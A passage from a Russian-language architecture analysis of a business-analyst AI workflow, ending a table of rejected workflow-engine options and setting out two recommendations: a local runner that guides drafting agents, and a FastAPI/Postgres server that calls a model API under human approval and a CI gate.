\u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n285\\t| \u0413-54 | \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 \u00ab\u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 | [RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375): \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u0446\u0435\u043d\u0430; \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u043d\u0435\u0442 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.** \u0417\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0438\u0433\u0433\u0435\u0440: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u043e\u0431\u0449\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u0430 4 |\\n286\\t\\n287\\t## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n288\\t\\n289\\t```mermaid\\n290\\tflowchart LR\\n291\\t  S[\\\"Source: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b\\\"] -->|\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f| PK[\\\"\u041f\u0430\u043a\u0435\u0442: \u0433\u0440\u0430\u0444 YAML, \u0441\u0445\u0435\u043c\u044b, \u0442\u0435\u043a\u0441\u0442\u044b\\\"]\\n292\\t  PK --> R[\\\"\u042f\u0434\u0440\u043e runner: \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0443\u0437\u043b\u043e\u0432, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0436\u0443\u0440\u043d\u0430\u043b\\\"]\\n293\\t  subgraph WS[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e\\\"]\\n294\\t    CLI[\\\"tools/run-task next\\\"]\\n295\\t    AG[\\\"GigaCode CLI \u0438\u043b\u0438 Cline: \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\\\"]\\n296\\t  end\\n297\\t  subgraph SRV[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0440\u0435\u0434\u0430 4\\\"]\\n298\\t    API[\\\"\u0421\u043b\u0443\u0436\u0431\u0430 runner + Postgres\\\"]\\n299\\t    UI[\\\"\u0427\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430; n8n \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e\\\"]\\n300\\t  end\\n301\\t  R --> CLI\\n302\\t  R --> API\\n303\\t  AG -->|\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a| CLI\\n304\\t  UI --> API\\n305\\t  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n306\\t  R --> V[\\\"\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source\\\"]\\n307\\t  API --> CI[\\\"CI gate \u0434\u043b\u044f Release\\\"]\\n308\\t```\\n309\\t\\n310\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n311\\t\\n312\\t**\u0421\u0443\u0442\u044c.** Runner \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0435\u0434\u0443\u0449\u0438\u043c: \u043e\u043d \u0437\u043d\u0430\u0435\u0442, \u0433\u0434\u0435 \u0437\u0430\u0434\u0430\u0447\u0430, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e\\n313\\t\u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0435\u0439\u0447\u0430\u0441 \u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c. \u041c\u043e\u0434\u0435\u043b\u044c \u0432 GigaCode CLI \u0438\u043b\u0438 Cline \u043f\u0438\u0448\u0435\u0442\\n314\\t\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u0411\u0410 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438 \u043e\u0442\u0434\u0430\u0451\u0442 \u0435\u0433\u043e runner \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439.\\n315\\t\\n316\\t| \u2116 | \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 | \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 |\\n317\\t|---|-----------|---------------|\\n318\\t| 1.1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0432 Python \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 | [\u0413-28](#\u0433-28), `EP-R5` |\\n319\\t| 1.2 | \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) |\\n320\\t| 1.3 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0434\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34), `EP-R8` |\\n321\\t| 1.4 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e `EP-R7`: \u043e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u0438\u043b\u0438 \u043d\u043e\u043b\u044c \u0441 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | [\u0413-33](#\u0433-33) |\\n322\\t| 1.5 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 `next`: runner \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043f\u043e-\u0440\u0443\u0441\u0441\u043a\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0443\u0437\u0435\u043b, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430, \u0433\u0434\u0435 \u0448\u0430\u0431\u043b\u043e\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0441\u0434\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 | [\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 3 \u0438 4 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u043a\u0430\u0440\u0442\u0430-\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439) |\\n323\\t| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\n324\\t\\n325\\t**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n326\\t\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n327\\t\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n328\\t\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n329\\t\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\n330\\trunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n331\\t\\n332\\t**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n333\\t\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n334\\t\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n335\\t\\n336\\t**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n337\\t\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n338\\t\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n339\\t\\n340\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n341\\t\\n342\\t**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n343\\t\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n344\\t\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n345\\t[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n346\\t\u00ab\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 runner \u0441 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u043e\u043c BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0432\u043d\u0435\\n347\\t\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e tool loop\u00bb.\\n348\\t\\n349\\t| \u0421\u043b\u043e\u0439 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n350\\t|------|---------|--------|\\n351\\t| \u042f\u0434\u0440\u043e | \u042f\u0434\u0440\u043e runner \u0438\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043d\u0430 FastAPI | \u041e\u0434\u0438\u043d \u043a\u043e\u0434 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435; \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u2014 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n352\\t| \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | Postgres: \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 append-only \u0436\u0443\u0440\u043d\u0430\u043b | `EP-R8`, `EP-R9`; \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 |\\n353\\t| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n354\\t| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 | \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 approval \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043a\u0430\u043a \u0444\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441\u0435\u0439\u0447\u0430\u0441 | G-human \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c |\\n355\\t| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n356\\t| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410 | \u0422\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API runner: \u0432\u0435\u0431-\u0447\u0430\u0442 (Open WebUI \u0441 Pipe \u2014 \u0434\u043e 50 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0435\u0437 \u0441\u043c\u0435\u043d\u044b \u0431\u0440\u0435\u043d\u0434\u0438\u043d\u0433\u0430, [\u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f](https://docs.openwebui.com/license)), \u0431\u043e\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430 ([Mattermost](https://docs.mattermost.com/developers/integrate/webhooks/outgoing)) \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0438 \u0447\u0430\u0442 n8n | \u0412\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u043a\u0430\u043d\u0430\u043b\u0443; \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0442 \u0432\u044b\u0431\u043e\u0440\u0430 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 |\\n357\\t| \u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 | \u041f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e n8n (\u0412-7): \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Jira, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0444\u043e\u0440\u043c\u044b, \u0432\u044b\u0437\u043e\u0432 API runner | [\u0413-44](#\u0433-44)\u2026[\u0413-49](#\u0433-49); \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440 |\\n358\\t| Release | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 CI gate runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f | ADR-019 |\\n359\\t\\n360\\t**\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430.** \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d, \u043a\u043e\u0433\u0434\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430,\\n361\\t\u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0441\u0442\u043e\u044f\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\\n362\\t([ADR-019 L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)).\\n363\\t\u0414\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0442\u0440\u0438 \u0432\u0435\u0449\u0438: \u0434\u043e\u0441\u0442\u0443\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a Mango 